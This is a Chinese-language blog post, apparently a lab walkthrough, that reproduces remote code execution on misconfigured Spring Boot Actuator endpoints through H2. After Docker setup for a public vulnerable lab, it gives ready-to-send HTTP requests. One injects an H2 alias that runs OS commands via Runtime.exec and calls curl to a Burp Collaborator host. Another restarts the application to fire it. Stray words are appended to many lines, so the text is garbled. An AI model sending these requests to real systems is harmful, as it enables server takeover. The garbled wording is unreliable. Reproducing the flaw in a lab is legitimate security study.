Spring Boot Actuator H2 RCE復現

0x00 前言

Spring Boot框架是最流行的基於Java的微服務框架之一,可幫助開發人員快速輕鬆地部署Java應用程序,加快開發過程。當Spring Boot Actuator配置不當可能形成多種RCE,由於Spring Boot 2.x默認使用HikariCP數據庫鏈接池,因此可經過H2數據庫實現RCE。java

0x01 環境搭建

(1) 克隆github上的項目git

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

(2) 使用docker啓動環境github

先cd進入spring-boot-actuator-h2-rce目錄而後執行如下命令spring

docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

(3) 訪問:http://192.168.222.143:8080/actuatordocker

0x02 漏洞復現

(1)發送以下POST包配置spring.datasource.hikari.connection-test-query的值shell

POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}

(2)查看/actuator/env數據庫

(3)向端點 /actuator/restart 發送POST請求,重啓應用json

POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2

{}

(4) 查看dnslog能夠看到成功執行命令收到請求app

相關文章
相關標籤/搜索